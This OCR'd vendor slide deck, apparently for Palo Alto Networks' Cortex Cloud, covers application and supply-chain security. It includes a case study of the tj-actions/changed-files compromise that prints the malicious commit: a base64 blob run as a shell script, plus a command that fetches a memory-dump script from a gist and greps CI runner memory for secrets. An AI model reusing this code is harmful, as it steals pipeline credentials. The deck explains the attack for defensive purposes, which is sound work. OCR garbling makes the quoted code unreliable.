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The Applications Powering Your Business Have Fundamentally Changed
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of organizations deploy new of cloud breaches caused on average to fix and redeploy
code on a weekly basis’ by insecure code’ after an issue is found?
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The “Application” is...




The “Application” is...the cloud and workloads
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Cloud Services
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The “Application” is...the code
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The “Application” is...the pipeline

Packages
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And the threats are...everywhere
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Poisoned pipeline execution
A GitHub Action package was corrupted and included malicious code.

The package is widely used in CI/CD pipelines by 23,000+ organizations.
Attackers inserted code to exfiltrate secrets from GitHub Actions runners.
Initial Target: Coinbase

The attackers initially targeted Coinbase’s open-source project agentkit.

name: CI

on:
pull_request:
branches:
- main

jobs:
changed_files: . . .
runs-on: ubuntu-latest tj-actions/changed-files
name: Test changed-files
steps:
- uses: actions/checkout@v4

id: changed-files
uses: tj-actions/changed-files

[- name: Get changed files ) plﬂ|

- name: List all changed files
env:

ALL_CHANGED_FILES: S${{ steps.changed-files.outputs.all_changed_files }}
run: |
for file in S$S{ALL_CHANGED_FILES}; do
echo "$file was changed"
done

SCAN ME
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Technical Details
The compromised commit

async function updateFeatures(token) {

const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', “echo

"aWYgW1sgIiRPUTRZUEUiIDB9ICJsaW51eCT1nbnUiIF1d0yBBaGVuUCiAgQjYOX0JMTOIOYGNT1cmwgLXNTZiB
odHRwczovL2dpc3QuZ210aHVidXN1cmNvbnR1bnQuY29tL25pa210YXNOdXBpbi8zMGUTMjViNzc2YzQwOWU
WM2MyZDZmMzI4ZjITNDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1Z2G8gcH10aG9uMyB8IHRYIC1kICdcMCcgfCB
ncmVwIC1hbeUgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmVOIjpOcnV1XHONIHwgc29ydCA
tdSB8IGJhc2U2NCAtdyAwIHWgYmFzZTYBIC13IDBgCiAgZWNobyAkQjYOX0JMTOIKZWXxzZQogIGV4aXQgMAp
maQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh’], {

ignoreReturnCode: true,

silent: true

1)

core.info(stdout);

Base64 -d

if [[ "SOSTYPE" == "linux-gnu" ]]; then
B64_BLOB="curl -sSf
https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d61328f254965/raw/me

mdump.py | sudo python3 | tr -d '\@' | grep -aoE

AT+ \N{"value" :"[2"]*", "isSecret":true\}' | sort -u | base64 -w O | base64 -w 0°
echo $B64_BLOB
else
exit @
fi
Impact

e Secrets were printed to runner logs.
e Public repositories were particularly vulnerable, since
logs are often publicly accessible.




Proprietary code
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And the protection...should be too

Vulnerabilities and
malware blocked

Registry

Vulnerabilities and
malware blocked

CVEs, misconfigs,
malware identified
and remediated

Prevent pipeline
abuse

a [—

Continuous
Deployment

Continuous
Integration

Repository

Vulnerabilities and malicious processes, files, and
network behavior blocked

Cloud Services

Contalner

Runtlme

Orchestrator

HostNM

Compute Network

Storage

Misconfigs identified, threats spotted, least privilege
enforced, lateral movement mitigated




Current approaches to AppSec

Code Security Supply Chain Posture
Security Management

A lot of individual Securing tools that Consolidate and

scanners across manage artifacts & prioritize code

SAST, SCA, laC, maintaining SBOMs ilgleliglefs

Secrets

No comprehensive Application Security approach that connects code and runtime



Complete Cloud Security for the Modern age

Introducing Cortex Cloud

A
<[>,

Xz

o °
Application Security Cloud Posture Security Cloud Runtime SOC

PREVENT ISSUES REDUCE RISK STOP ATTACKS DETECT & RESPOND

Single Data Plane from Code to Cloud to SOC

..} (> Yol — ol

CODE SUPPLY CONFIGS IDENTITY CLOUD LOGS NETWORK ENDPOINT CVES
CHAIN
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Context is required to maximize risk prioritization

& e Is the package loaded into memory?
e [s a production application?
Code
A / e Is the application exposed to internet?
e |[s the application is getting traffic?
e Does the application have access to sensitive
N data?
e Runtime
Application




What happens when you don’t prevent?

Issue
Developer found
reviews code they
wrote ages ago l,

Fix & Merge We can implement a

PR \ / / patch, but we ne_ed to fix
the source of issue

O

(_ Need locate the
< i
Review —> source of risk

Push fix to / \

production Need locate the
owner

We must find a better way to stop risk from beginning



What happens if you prevent too much?

Developer Pull

writes code request




What happens if you prevent too much?

Code violate
the security
policy

Developer Merge

writes code request




What happens if you prevent too much?

My code is

Can

Code violate

Developer Pull WHAT?? for testing,
Why... not
production...

someone
waive this?

the security

writes code request .
policy




Use Case
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Effi C i e nt Iy p ri O rit i Ze ri S k W i t h ® | ssBucket | ¥ Terraform oY) Actions v
c O nteXt aws_s3_bucket.website

Overview Code Code to Cloud Application Configuration Data

Path to Production

e Leverage context to focus on critical risks deployed

to production =
e Example:
o A critical vulnerability found in code
m s code running in production?
m Is package loaded into runtime memory?
m Is the application external facing? °
m Does the CVE have an exploit in the wild? . . .
aws_s3_bucket_acl.bar aws_s3_bucket.foo PANW!/terragoat 3254677 amzn-s3-bucket...
S3 Bucket ACL S3 Bucket GitHub Repository AWS Cloud Account AWS S3 Bucket
m Does the cloud asset have access to
sensitive data? ‘
m Does it have an external API? Is it being armares3-bucket..
AWS S3 Bucket
used?
e
.¢.



Set intelligent development
guardrails

e Accelerate secure deployments by leveraging
application and runtime context to avoid
unnecessarily blocked PRs and failed builds.

e Example:
o SCA scanner ran the first time
= You have 1M vulnerabilities
m 10K high and 1K critical

o You want to stop new issues while working on
backlog

m  Set policy that does not allow any NEW
critical and high on active repositories that
are deployed to production and are on
packages that are loaded into memory

@ ® ® @

General Conditions Scope Action

Conditions

Specify the logical conditions that will be evaluated against the detected Vulnerability object

*Trigger 2
Periodic scan PR scan CI\CD scan

Developer Suppressions (?)

@ Ignore O Allow

* Scan Types @
laC Misconfigurations

* Conditions

Severity v is v X Has a Fix

{ Critical v

m

<] o) | ®]

True ~ X

Detection rule is v [rule name] +




Integrate Security into

Development Tools LT
\ TERRAGOAT Y L E U @ terraform > aws > "W s3.tf
> .github ® 1 resource "aws_s3_bucket" "data" {
> gitlabci 2 # bucket ... An 53 bucket must have a lifecycle configuration (Prisma Cloud)
> packages i : zuc:e: R Suppress Documentation [£] Console
ucke
e Meet developers where they are  terraform 5| # buckell oo cete do not have svent notifications enabled (Prisma Cloud)
> alicloud 3 :UCKetd ’® Suppress Documentation =l Console
v aws orce_de
» N " N N " 8 tagS =m oA . .
e Provide clear, actionable insights within v resources o | 1 Ve | S lot s ok pUt oo ook (o KD ,
B customer-master.xisx = L When you create an S bucket it is good practice to set the additional resource awssbucketpublicaccessbloc
. . ' nVirg recommend you ensure S bucket has public access blockslf the public access block is not attached it defau
developer native tools so developers can % B LR suppress Documentation ©) consoe
lambda_function_payload.zip 2
e aS| Iy and q u |Ck|y f|X | Ssues " consts.tf B gi:—{j «s++ S3 bucket cross-region replication disabled (Prisma Cloud)
db-app.tf = ix ppress Documentation nsole
w op s s 11 I Fix 72 su D tation (=] Consol
W ec2.tf 16 git:modifiers = "34870196+LironElbaz/nimrod/nimrodkor"
I I 1 " ecr.tf 17 git_org = "bridgecrewio”
e Solve issues early in development lifecycle L | N et i
19 yor_trace = "0874007d-903a-4b4c-945f-c9c233e13243"
‘¥ elb.tf = 9
[] [] [] [] [] ] * es_tf 21 }
o Fixing issues in development is quicker, ¥ lamt S
. . W kms.tf ® 23 resource "aws_s3_bucket_object" "data_object" {
easier and less expensive S 24 bucket = aws_s3_bucket.data. id
25 k =" t ter.xlsx"
¥ neptune.tf 26 s::rce = ":‘::oztz:;;‘:zste;nzri:aster.xlsx“
" providers.tf 27 tags = merge({
"W rds.tf 28 Name = "${local.resource_prefix.value}-customer-master"
| W s3.tf 29 Environment = local.resource_prefix.value
30 | P §
% e 31 git_commit = "d68d2897add9bc2203a5ed0632a5cdd8f f8cefbo"
> gcp 32 git_file = "terraform/aws/s3.tf"
> oracle 33 git_last_modified_at = "2020-06-16 14:46:24"
« .gitignore 34 git_last_modified_by = "nimrodkor@gmail.com"
¥ CODE_OF_CONDUCT.md PROBLEMS  OUTPUT  DEBUG CONSOLE  TERMINAL  PORTS  COMMENTS
R LICENSE No problems have been detected in the workspace.
{} package-lock.json
(i) README.md
[ terragoat-logo.png
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